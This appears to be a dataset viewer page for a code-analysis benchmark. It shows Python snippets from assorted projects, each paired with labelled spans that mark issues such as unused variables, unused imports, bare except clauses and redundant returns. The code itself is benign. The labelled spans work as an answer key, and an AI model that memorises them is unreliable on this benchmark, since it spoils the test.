Datasets:

thepurpleowl

/

codequeries

like 7

[ { "content": " def exportChildren(self, lwrite, level, namespace_='DNSCacheObj:', name_='DNSCacheEntryType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.DNS_Entry is not None:\n self.DNS_Entry.export(lwrite, level, 'DNSCacheObj:', name_='DNS_Entry', pretty_print=pretty_print)\n if self.TTL is not None:\n self.TTL.export(lwrite, level, 'DNSCacheObj:', name_='TTL', pretty_print=pretty_print)", "metadata": "root.DNSCacheEntryType.exportChildren", "header": "['class', 'DNSCacheEntryType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 58 }, { "content": " def exportChildren(self, lwrite, level, namespace_='DNSCacheObj:', name_='DNSCacheObjectType', fromsubclass_=False, pretty_print=True):\n super(DNSCacheObjectType, self).exportChildren(lwrite, level, 'DNSCacheObj:', name_, True, pretty_print=pretty_print)\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for DNS_Cache_Entry_ in self.DNS_Cache_Entry:\n DNS_Cache_Entry_.export(lwrite, level, 'DNSCacheObj:', name_='DNS_Cache_Entry', pretty_print=pretty_print)", "metadata": "root.DNSCacheObjectType.exportChildren", "header": "['class', 'DNSCacheObjectType', '(', 'cybox_common', '.', 'ObjectPropertiesType', ')', ':', '___EOS___']", "index": 134 }, { "content": "def parse(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'DNS_Cache'\n rootClass = DNSCacheObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n# sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n# rootObj.export(sys.stdout.write, 0, name_=rootTag,\n# namespacedef_='',\n# pretty_print=True)\n return rootObj", "metadata": "root.parse", "header": "['module', '___EOS___']", "index": 277 }, { "content": "def parseEtree(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'DNS_Cache'\n rootClass = DNSCacheObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n rootElement = rootObj.to_etree(None, name_=rootTag)\n content = etree_.tostring(rootElement, pretty_print=True,\n xml_declaration=True, encoding=\"utf-8\")\n sys.stdout.write(content)\n sys.stdout.write('\\n')\n return rootObj, rootElement", "metadata": "root.parseEtree", "header": "['module', '___EOS___']", "index": 294 }, { "content": "def parseString(inString):\n from mixbox.vendor.six import StringIO\n doc = parsexml_(StringIO(inString))\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'DNS_Cache'\n rootClass = DNSCacheObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n# sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n# rootObj.export(sys.stdout.write, 0, name_=\"DNS_Cache\",\n# namespacedef_='')\n return rootObj", "metadata": "root.parseString", "header": "['module', '___EOS___']", "index": 312 } ]

[ { "span": "eol_ ", "start_line": 60, "start_column": 12, "end_line": 60, "end_column": 16 }, { "span": "eol_ ", "start_line": 62, "start_column": 12, "end_line": 62, "end_column": 16 }, { "span": "eol_ ", "start_line": 137, "start_column": 12, "end_line": 137, "end_column": 16 }, { "span": "eol_ ", "start_line": 139, "start_column": 12, "end_line": 139, "end_column": 16 }, { "span": "rootTag ", "start_line": 282, "start_column": 8, "end_line": 282, "end_column": 15 }, { "span": "doc ", "start_line": 287, "start_column": 4, "end_line": 287, "end_column": 7 }, { "span": "doc ", "start_line": 304, "start_column": 4, "end_line": 304, "end_column": 7 }, { "span": "rootTag ", "start_line": 318, "start_column": 8, "end_line": 318, "end_column": 15 }, { "span": "doc ", "start_line": 323, "start_column": 4, "end_line": 323, "end_column": 7 } ]

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[ { "content": " def test_create_with_invalid_passphrase(self):\n cert, key = generate_cert_and_pkey(as_string=True, passphrase='correct')\n form = APNServiceForm({'name': 'test', 'hostname': 'localhost', 'certificate': cert, 'private_key': key, 'passphrase': 'incorrect'})\n self.assertFalse(form.is_valid())\n self.assertTrue('passphrase' in form.errors)", "metadata": "root.APNServiceTest.test_create_with_invalid_passphrase", "header": "['class', 'APNServiceTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 88 }, { "content": " def test_update_device(self):\n kwargs = {'token': self.device.token, 'service__id': self.device.service.id}\n url = reverse('ios-notifications-device', kwargs=kwargs)\n resp = self.client.put(url, 'users=%d&platform=iPhone' % self.user.id,\n content_type='application/x-www-form-urlencode')\n self.assertEqual(resp.status_code, 200)\n self.assertTrue(isinstance(resp, JSONResponse))\n device_json = json.loads(resp.content)\n self.assertEqual(device_json.get('pk'), self.device.id)\n self.assertTrue(self.user in self.device.users.all())", "metadata": "root.APITest.test_update_device", "header": "['class', 'APITest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 153 }, { "content": " @override_settings(IOS_NOTIFICATIONS_AUTHENTICATION='AuthBasic')\n def test_basic_authorization_request_invalid_credentials(self):\n user_pass = '%s:%s' % (self.user.username, 'invalidpassword')\n auth_header = 'Basic %s' % user_pass.encode('base64')\n url = reverse('ios-notifications-device-create')\n resp = self.client.get(url, HTTP_AUTHORIZATION=auth_header)\n self.assertEquals(resp.status_code, 401)\n self.assertTrue('authentication error' in resp.content)", "metadata": "root.AuthenticationDecoratorTestAuthBasic.test_basic_authorization_request_invalid_credentials", "header": "['class', 'AuthenticationDecoratorTestAuthBasic', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 198 }, { "content": " @override_settings(IOS_NOTIFICATIONS_AUTHENTICATION='AuthBasic')\n def test_basic_authorization_missing_header(self):\n url = reverse('ios-notifications-device-create')\n resp = self.client.get(url)\n self.assertEquals(resp.status_code, 401)\n self.assertTrue('Authorization header not set' in resp.content)", "metadata": "root.AuthenticationDecoratorTestAuthBasic.test_basic_authorization_missing_header", "header": "['class', 'AuthenticationDecoratorTestAuthBasic', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 207 }, { "content": " @override_settings(IOS_NOTIFICATIONS_AUTHENTICATION='AuthBasicIsStaff')\n def test_basic_authorization_is_staff_with_non_staff_user(self):\n kwargs = {'token': self.device.token, 'service__id': self.device.service.id}\n url = reverse('ios-notifications-device', kwargs=kwargs)\n user_pass = '%s:%s' % (self.user.username, self.user_password)\n auth_header = 'Basic %s' % user_pass.encode('base64')\n self.user.is_staff = False\n self.user.save()\n resp = self.client.get(url, HTTP_AUTHORIZATION=auth_header)\n self.assertEquals(resp.status_code, 401)\n self.assertTrue('authentication error' in resp.content)", "metadata": "root.AuthenticationDecoratorTestAuthBasic.test_basic_authorization_is_staff_with_non_staff_user", "header": "['class', 'AuthenticationDecoratorTestAuthBasic', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 236 }, { "content": " def test_call_push_ios_notification_command_explicit_persist(self):\n msg = 'some message'\n management.call_command('push_ios_notification', **{'message': msg, 'service': self.service.id, 'verbosity': 0, 'persist': True})\n self.assertTrue(Notification.objects.filter(message=msg, last_sent_at__gt=self.started_at).exists())\n self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "metadata": "root.ManagementCommandPushNotificationTest.test_call_push_ios_notification_command_explicit_persist", "header": "['class', 'ManagementCommandPushNotificationTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 327 }, { "content": " def test_call_push_ios_notification_command_explicit_no_persist(self):\n msg = 'some message'\n management.call_command('push_ios_notification', **{'message': msg, 'service': self.service.id, 'verbosity': 0, 'persist': False})\n self.assertFalse(Notification.objects.filter(message=msg, last_sent_at__gt=self.started_at).exists())\n self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "metadata": "root.ManagementCommandPushNotificationTest.test_call_push_ios_notification_command_explicit_no_persist", "header": "['class', 'ManagementCommandPushNotificationTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 333 }, { "content": " @override_settings(IOS_NOTIFICATIONS_PERSIST_NOTIFICATIONS=True)\n def test_call_push_ios_notification_command_default_persist(self):\n msg = 'some message'\n management.call_command('push_ios_notification', **{'message': msg, 'service': self.service.id, 'verbosity': 0})\n self.assertTrue(Notification.objects.filter(message=msg, last_sent_at__gt=self.started_at).exists())\n self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "metadata": "root.ManagementCommandPushNotificationTest.test_call_push_ios_notification_command_default_persist", "header": "['class', 'ManagementCommandPushNotificationTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 339 }, { "content": " @override_settings(IOS_NOTIFICATIONS_PERSIST_NOTIFICATIONS=False)\n def test_call_push_ios_notification_command_default_no_persist(self):\n msg = 'some message'\n management.call_command('push_ios_notification', **{'message': msg, 'service': self.service.id, 'verbosity': 0})\n self.assertFalse(Notification.objects.filter(message=msg, last_sent_at__gt=self.started_at).exists())\n self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "metadata": "root.ManagementCommandPushNotificationTest.test_call_push_ios_notification_command_default_no_persist", "header": "['class', 'ManagementCommandPushNotificationTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 346 }, { "content": " @override_settings()\n def test_call_push_ios_notification_command_default_persist_not_specified(self):\n try:\n # making sure that IOS_NOTIFICATIONS_PERSIST_NOTIFICATIONS is not specified in app settings, otherwise this test means nothing\n del settings.IOS_NOTIFICATIONS_PERSIST_NOTIFICATIONS\n except AttributeError:\n pass\n msg = 'some message'\n management.call_command('push_ios_notification', **{'message': msg, 'service': self.service.id, 'verbosity': 0})\n self.assertTrue(Notification.objects.filter(message=msg, last_sent_at__gt=self.started_at).exists())\n self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "metadata": "root.ManagementCommandPushNotificationTest.test_call_push_ios_notification_command_default_persist_not_specified", "header": "['class', 'ManagementCommandPushNotificationTest', '(', 'UseMockSSLServerMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 353 } ]

[ { "span": "self.assertTrue('passphrase' in form.errors)", "start_line": 92, "start_column": 8, "end_line": 92, "end_column": 52 }, { "span": "self.assertTrue(self.user in self.device.users.all())", "start_line": 162, "start_column": 8, "end_line": 162, "end_column": 61 }, { "span": "self.assertTrue('authentication error' in resp.content)", "start_line": 205, "start_column": 8, "end_line": 205, "end_column": 63 }, { "span": "self.assertTrue('Authorization header not set' in resp.content)", "start_line": 212, "start_column": 8, "end_line": 212, "end_column": 71 }, { "span": "self.assertTrue('authentication error' in resp.content)", "start_line": 246, "start_column": 8, "end_line": 246, "end_column": 63 }, { "span": "self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "start_line": 331, "start_column": 8, "end_line": 331, "end_column": 99 }, { "span": "self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "start_line": 337, "start_column": 8, "end_line": 337, "end_column": 99 }, { "span": "self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "start_line": 344, "start_column": 8, "end_line": 344, "end_column": 99 }, { "span": "self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "start_line": 351, "start_column": 8, "end_line": 351, "end_column": 99 }, { "span": "self.assertTrue(self.device in Device.objects.filter(last_notified_at__gt=self.started_at))", "start_line": 363, "start_column": 8, "end_line": 363, "end_column": 99 } ]

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[ { "content": "\tdef feed(self, line, multiline=True):\n\t\ti = 0\n\t\tappend = False\n\t\tdone = True\n\t\tvariables = os.environ\n\n\t\twhile i <= len(line):\n\t\t\tchar = line[i] if i < len(line) else None\n\t\t\t#print(\"%r %r %r\" % (self.words, char, self.state))\n\t\t\tif self.state.last == \"raw\":\n\t\t\t\tif not char or char.isspace():\n\t\t\t\t\tif self.cur or append:\n\t\t\t\t\t\tself.words.append(self.cur)\n\t\t\t\t\t\tself.cur = \"\"\n\t\t\t\t\t\tappend = False\n\t\t\t\telif char == \"\\\"\":\n\t\t\t\t\tself.state.push(\"dquoted\")\n\t\t\t\telif char == \"'\":\n\t\t\t\t\tself.state.push(\"squoted\")\n\t\t\t\telif char == \"{\" and self.parse_bquoted:\n\t\t\t\t\tself.state.push(\"bquoted\")\n\t\t\t\telif char == \"\\\\\":\n\t\t\t\t\tself.state.push(\"escape\")\n\t\t\t\telif char == \"$\" and variables is not None:\n\t\t\t\t\ttoken = \"\"\n\t\t\t\t\tself.state.push(\"variable\")\n\t\t\t\telse:\n\t\t\t\t\tself.cur += char\n\t\t\telif self.state.last == \"escape\":\n\t\t\t\tif not char:\n\t\t\t\t\tdone = False\n\t\t\t\t\ti -= 1\n\t\t\t\t\tself.state.pop()\n\t\t\t\telif char == \"x\":\n\t\t\t\t\ttoken = \"\"\n\t\t\t\t\tself.state.last = \"escape hex\"\n\t\t\t\telif char in \"0123\":\n\t\t\t\t\ttoken = char\n\t\t\t\t\tself.state.last = \"escape oct\"\n\t\t\t\telif char in self.escapes:\n\t\t\t\t\tself.cur += self.escapes[char]\n\t\t\t\t\tappend = True\n\t\t\t\t\tself.state.pop()\n\t\t\t\telse:\n\t\t\t\t\tself.cur += char\n\t\t\t\t\tself.state.pop()\n\t\t\telif self.state.last == \"escape hex\":\n\t\t\t\tif char and char in \"0123456789abcdefABCDEF\":\n\t\t\t\t\ttoken += char\n\t\t\t\t\tif len(token) == 2:\n\t\t\t\t\t\tself.cur += chr(int(token, 16))\n\t\t\t\t\t\tself.state.pop()\n\t\t\t\telse:\n\t\t\t\t\traise ParserError(\"invalid hex character %r\" % char)\n\t\t\telif self.state.last == \"escape oct\":\n\t\t\t\tif char and char in \"01234567\" and len(token) < 3:\n\t\t\t\t\ttoken += char\n\t\t\t\telse:\n\t\t\t\t\tself.cur += chr(int(token, 8))\n\t\t\t\t\ti -= 1\n\t\t\t\t\tself.state.pop()\n\t\t\telif self.state.last == \"dquoted\":\n\t\t\t\tif char == \"\\\"\":\n\t\t\t\t\tappend = True\n\t\t\t\t\tself.state.pop()\n\t\t\t\telif char == \"\\\\\":\n\t\t\t\t\tself.state.push(\"escape\")\n\t\t\t\telif char == \"$\" and variables is not None:\n\t\t\t\t\ttoken = \"\"\n\t\t\t\t\tself.state.push(\"variable\")\n\t\t\t\telif char:\n\t\t\t\t\tself.cur += char\n\t\t\t\telif multiline:\n\t\t\t\t\tdone = False\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\traise ParserError(\"missing closing \\\"\")\n\t\t\telif self.state.last == \"squoted\":\n\t\t\t\tif char == \"'\":\n\t\t\t\t\tappend = True\n\t\t\t\t\tself.state.pop()\n\t\t\t\telif char:\n\t\t\t\t\tself.cur += char\n\t\t\t\telif multiline:\n\t\t\t\t\tdone = False\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\traise ParserError(\"missing closing '\")\n\t\t\telif self.state.last == \"bquoted\":\n\t\t\t\tif char == \"}\":\n\t\t\t\t\tif self.state.prev(1) == \"bquoted\":\n\t\t\t\t\t\tself.cur += char\n\t\t\t\t\tappend = True\n\t\t\t\t\tself.state.pop()\n\t\t\t\telif char == \"{\":\n\t\t\t\t\tself.cur += char\n\t\t\t\t\tstate.push(\"bquoted\")\n\t\t\t\telif char == \"\\\\\":\n\t\t\t\t\tstate.push(\"escape\")\n\t\t\t\telif char:\n\t\t\t\t\tself.cur += char\n\t\t\t\telse:\n\t\t\t\t\tdone = False\n\t\t\t\t\tbreak\n\t\t\telif self.state.last == \"variable\":\n\t\t\t\tvar = None\n\n\t\t\t\tif char and char in \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\\\n\t\t\t\t\t\t\t\"abcdefghijklmnopqrstuvwxyz\"\\\n\t\t\t\t\t\t\t\"0123456789_\":\n\t\t\t\t\ttoken += char\n\t\t\t\telif char == \"$\" and not token:\n\t\t\t\t\tvar = str(os.getpid())\n\t\t\t\telif char == \"{\" and not token:\n\t\t\t\t\ttoken += char\n\t\t\t\telif token and token[0] == \"{\":\n\t\t\t\t\tif char == \"}\":\n\t\t\t\t\t\tvar = variables.get(token[1:], \"\")\n\t\t\t\t\telif multiline:\n\t\t\t\t\t\tdone = False\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\traise ParserError(\"missing closing }\")\n\t\t\t\telse:\n\t\t\t\t\ti -= 1\n\t\t\t\t\tvar = variables.get(token, \"\")\n\n\t\t\t\tif var is not None:\n\t\t\t\t\tif self.state.prev() == \"raw\":\n\t\t\t\t\t\tvar = (self.cur+var).split()\n\t\t\t\t\t\tif var:\n\t\t\t\t\t\t\tself.cur = var.pop()\n\t\t\t\t\t\t\tfor token in var:\n\t\t\t\t\t\t\t\tif token or append:\n\t\t\t\t\t\t\t\t\tself.words.append(token)\n\t\t\t\t\t\t\t\t\tappend = False\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.cur += var\n\t\t\t\t\tself.state.pop()\n\t\t\ti += 1\n\n\t\tif not multiline:\n\t\t\tdone = True\n\n\t\tif not done:\n\t\t\terr = None\n\t\telif not self.state or self.state.last == \"raw\":\n\t\t\terr = None\n\t\telif self.state.last in (\"bquoted\", \"variable\"):\n\t\t\traise ParserError(\"missing closing }\")\n\t\telif self.state.last == \"escape\":\n\t\t\traise ParserError(\"extra backslash\")\n\t\telif self.state.last == \"escape hex\":\n\t\t\traise ParserError(\"truncated hex escape\")\n\t\telif self.state.last == \"escape oct\":\n\t\t\traise ParserError(\"truncated oct escape\")\n\t\telse:\n\t\t\traise ParserError(\"foo\")\n\t\t\n\t\tif done:\n\t\t\treturn self.words, self.reset()\n\t\telse:\n\t\t\treturn self.words, False", "metadata": "root.Parser.feed", "header": "['class', 'Parser', '(', 'object', ')', ':', '___EOS___']", "index": 48 } ]

[ { "span": "err ", "start_line": 193, "start_column": 3, "end_line": 193, "end_column": 6 }, { "span": "err ", "start_line": 195, "start_column": 3, "end_line": 195, "end_column": 6 } ]

[]

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[ { "content": "# -*- coding: utf-8 -*-\n\n'''\n Specto Add-on\n Copyright (C) 2015 lambda\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http://www.gnu.org/licenses/>.\n'''\n\n\nimport re,urllib\nfrom resources.lib.libraries import client\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def resolve(url):\n try:\n result = client.request(url)\n\n post = {}\n f = client.parseDOM(result, 'Form', attrs = {'name': 'F1'})[-1]\n k = client.parseDOM(f, 'input', ret='name', attrs = {'type': 'hidden'})\n for i in k: post.update({i: client.parseDOM(f, 'input', ret='value', attrs = {'name': i})[0]})\n post.update({'method_free': '', 'method_premium': ''})\n\n\n result = client.request(url, post=post)\n\n url = re.compile('(<a\\s+href=.+?>Download\\s+.+?</a>)').findall(result)[-1]\n url = client.parseDOM(url, 'a', ret='href')[0]\n return url\n except:\n return", "metadata": "root.resolve", "header": "['module', '___EOS___']", "index": 25 } ]

[ { "span": "import re,urllib", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 16 } ]

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[ { "content": " @raises(ValueError)\n def test_synthesizeNTF_12(self):\n \"\"\"Test function for synthesizeNTF() 12/15\"\"\"\n # f0 > 0.5 -> ValueError\n z, p, k = synthesizeNTF(order=2, osr=32, opt=0, H_inf=1.3, f0=0.7)", "metadata": "root.TestSynthesizeNTF.test_synthesizeNTF_12", "header": "['class', 'TestSynthesizeNTF', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 164 }, { "content": " @raises(ValueError)\n def test_synthesizeNTF_13(self):\n \"\"\"Test function for synthesizeNTF() 13/15\"\"\"\n # f0 > 0. and order odd -> ValueError\n z, p, k = synthesizeNTF(order=3, osr=32, opt=0, H_inf=1.3, f0=0.3)", "metadata": "root.TestSynthesizeNTF.test_synthesizeNTF_13", "header": "['class', 'TestSynthesizeNTF', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 170 }, { "content": " @raises(ValueError)\n def test_synthesizeNTF_14(self):\n \"\"\"Test function for synthesizeNTF() 14/15\"\"\"\n # 1 < len(opt) < order\n z, p, k = synthesizeNTF(order=3, osr=32, opt=[0., 0.], H_inf=1.3, f0=0.3)", "metadata": "root.TestSynthesizeNTF.test_synthesizeNTF_14", "header": "['class', 'TestSynthesizeNTF', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 176 }, { "content": " @raises(ValueError)\n def test_synthesizeNTF_15(self):\n \"\"\"Test function for synthesizeNTF() 15/15\"\"\"\n # order < len(opt)\n z, p, k = synthesizeNTF(order=3, osr=32, opt=[0., 0., 0., 0.], H_inf=1.3, f0=0.)", "metadata": "root.TestSynthesizeNTF.test_synthesizeNTF_15", "header": "['class', 'TestSynthesizeNTF', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 182 } ]

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[ { "content": "from UnitTest import UnitTest\n\ntry:\n builtin_value = builtin.value\nexcept:\n builtin_value = None\nif False:\n import builtin\nimport builtin\n\nfrom imports.cls import CLS\nfrom imports.cls1 import CLS as CLS1\n\n\n\n\n\n#from pyjamas import log\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]

[ { "span": "import builtin", "start_line": 7, "start_column": 4, "end_line": 7, "end_column": 18 } ]

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[ { "content": " def runMessagesThread(self, messageIndexes=None):\n self._db.lock.acquire()\n try:\n indexes = messageIndexes\n if not indexes:\n indexes = self._db.getActiveMessageIndexes()\n self.clearColorResults(indexes)\n for index in indexes:\n self.runMessage(index)\n #self.colorCodeResults()\n except:\n traceback.print_exc(file=self._callbacks.getStderr())\n finally:\n self._db.lock.release()\n self.colorCodeResults()", "metadata": "root.BurpExtender.runMessagesThread", "header": "['class', 'BurpExtender', '(', 'IBurpExtender', ',', 'ITab', ',', 'IMessageEditorController', ',', 'IContextMenuFactory', ')', ':', '___NEWLINE___', '___NL___', '#', '___NL___', '# implement IBurpExtender', '___NL___', '#', '___NL___', '___EOS___']", "index": 418 }, { "content": " def load(self, db, extender):\n def loadRequestResponse(index, callbacks, helpers, host, port, protocol, requestData):\n # NOTE: tempRequestResponse is an array because of a threading issue,\n # where if this thread times out, it will still update temprequestresponse later on..\n # TODO: also this still locks the UI until all requests suceed or time out...\n try:\n # Due to Burp Extension API, must create a original request for all messages\n service = helpers.buildHttpService(host, port, protocol)\n if service:\n self.tempRequestResponse[index] = callbacks.makeHttpRequest(service,requestData)\n except java.lang.RuntimeException:\n # Catches if there is a bad host\n # TODO there is an unhandled exception thrown in the stack trace here?\n return\n except:\n traceback.print_exc(file=callbacks.getStderr())\n\n def replaceDomain(requestData, oldDomain, newDomain):\n reqstr = StringUtil.fromBytes(requestData)\n reqstr = reqstr.replace(oldDomain, newDomain)\n newreq = StringUtil.toBytes(reqstr)\n return newreq\n\n callbacks = extender._callbacks\n helpers = extender._helpers\n\n self.lock.acquire()\n self.arrayOfRoles = db.arrayOfRoles\n self.arrayOfUsers = db.arrayOfUsers\n self.deletedUserCount = db.deletedUserCount\n self.deletedRoleCount = db.deletedRoleCount\n self.deletedMessageCount = db.deletedMessageCount\n self.arrayOfMessages = ArrayList()\n\n self.tempRequestResponse = []\n index=0\n newDomain = None\n replaceForAll = False\n skipped = 0\n for message in db.arrayOfMessages: \n keeptrying = True\n while keeptrying:\n self.tempRequestResponse.append(None)\n\n if newDomain:\n requestData = replaceDomain(message._requestData, message._host, newDomain)\n host = newDomain\n # TODO consider changing port too?\n else:\n requestData = message._requestData\n host = message._host\n\n t = Thread(target=loadRequestResponse, args = [index, callbacks, helpers, host, message._port, message._protocol, requestData])\n t.start()\n t.join(self.LOAD_TIMEOUT)\n if not t.isAlive() and self.tempRequestResponse[index] != None:\n self.arrayOfMessages.add(MessageEntry(\n message._index,\n message._tableRow-skipped,\n callbacks.saveBuffersToTempFiles(self.tempRequestResponse[index]),\n message._url, message._name, message._roles, message._successRegex, message._deleted))\n keeptrying = False\n if not replaceForAll:\n newDomain = None\n else:\n keeptrying, newDomain, replaceForAll = extender.changeDomainPopup(host, message._tableRow)\n if not keeptrying:\n skipped += 1\n \n index += 1\n\n self.lock.release()", "metadata": "root.MatrixDB.load", "header": "['class', 'MatrixDB', '(', ')', ':', '___EOS___']", "index": 656 }, { "content": " def getRowCount(self):\n try:\n return len(self._db.getActiveUserIndexes())\n except:\n return 0", "metadata": "root.UserTableModel.getRowCount", "header": "['class', 'UserTableModel', '(', 'AbstractTableModel', ')', ':', '___EOS___']", "index": 825 }, { "content": " def getColumnCount(self):\n # NOTE: maybe remove this try?\n try:\n return len(self._db.getActiveRoleIndexes())+self._db.STATIC_USER_TABLE_COLUMN_COUNT\n except:\n return self._db.STATIC_USER_TABLE_COLUMN_COUNT", "metadata": "root.UserTableModel.getColumnCount", "header": "['class', 'UserTableModel', '(', 'AbstractTableModel', ')', ':', '___EOS___']", "index": 831 }, { "content": " def getRowCount(self):\n try:\n return len(self._db.getActiveMessageIndexes())\n except:\n return 0", "metadata": "root.MessageTableModel.getRowCount", "header": "['class', 'MessageTableModel', '(', 'AbstractTableModel', ')', ':', '___EOS___']", "index": 933 } ]

[ { "span": "except:", "start_line": 428, "start_column": 8, "end_line": 428, "end_column": 15 }, { "span": "except:", "start_line": 670, "start_column": 12, "end_line": 670, "end_column": 19 }, { "span": "except:", "start_line": 828, "start_column": 8, "end_line": 828, "end_column": 15 }, { "span": "except:", "start_line": 835, "start_column": 8, "end_line": 835, "end_column": 15 }, { "span": "except:", "start_line": 936, "start_column": 8, "end_line": 936, "end_column": 15 } ]

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[ { "content": "def _check_fortran_runtime_flags(conf):\n if not FC_VERBOSE_FLAG in conf.env:\n raise ValueError(\"\"\"\\\nYou need to call check_fortran_verbose_flag before getting runtime\nflags (or to define the %s variable)\"\"\" % FC_VERBOSE_FLAG)\n code = \"\"\"\\\n program main\n end\n\"\"\"\n\n conf.start_message(\"Checking for fortran runtime flags\")\n\n old = copy.deepcopy(conf.env[\"F77_LINKFLAGS\"])\n try:\n conf.env[\"F77_LINKFLAGS\"].append(conf.env[\"FC_VERBOSE_FLAG\"])\n ret = conf.builders[\"fortran\"].try_program(\"check_fc\", code)\n if ret:\n stdout = conf.get_stdout(conf.last_task)\n flags = parse_flink(stdout)\n conf.end_message(\"%r\" % \" \".join(flags))\n conf.env[FC_RUNTIME_LDFLAGS] = flags\n return True\n else:\n conf.end_message(\"failed !\")\n return False\n finally:\n conf.env[\"F77_LINKFLAGS\"] = old\n return False", "metadata": "root._check_fortran_runtime_flags", "header": "['module', '___EOS___']", "index": 77 } ]

[ { "span": "return False", "start_line": 104, "start_column": 4, "end_line": 104, "end_column": 16 } ]

[]

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[ { "content": "# Copyright 2011-2013 Colin Scott\n# Copyright 2011-2013 Andreas Wundsam\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at:\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# This module runs inside a POX process. It's loaded into pox/ext before\n# booting POX.\n\nimport logging\nimport time\nimport os\nimport socket\n\nfrom pox.core import core, UpEvent\nfrom pox.lib.graph.nom import Switch, Host, Link\nfrom pox.lib.graph.util import NOMEncoder\n\nfrom sts.util.io_master import IOMaster\nfrom sts.syncproto.base import SyncTime, SyncMessage, SyncProtocolSpeaker, SyncIODelegate\nfrom pox.lib.util import parse_openflow_uri\nfrom pox.lib.recoco import Task, Select\n\nfrom logging import Logger\n\nlog = logging.getLogger(\"pox_syncer\")\n\n# POX Module launch method\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]

[ { "span": "import logging", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 14 } ]

[]

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[ { "content": " def guess_system(self):\n for (name, callable_) in self._callable_dict.iteritems():\n if callable_():\n return name\n else:\n return 'UNKNOWN'", "metadata": "root.System_guesser.guess_system", "header": "['class', 'System_guesser', '(', 'object', ')', ':', '___EOS___']", "index": 105 } ]

[ { "span": "for (name, callable_) in self._callable_dict.iteritems():", "start_line": 106, "start_column": 8, "end_line": 106, "end_column": 65 } ]

[]

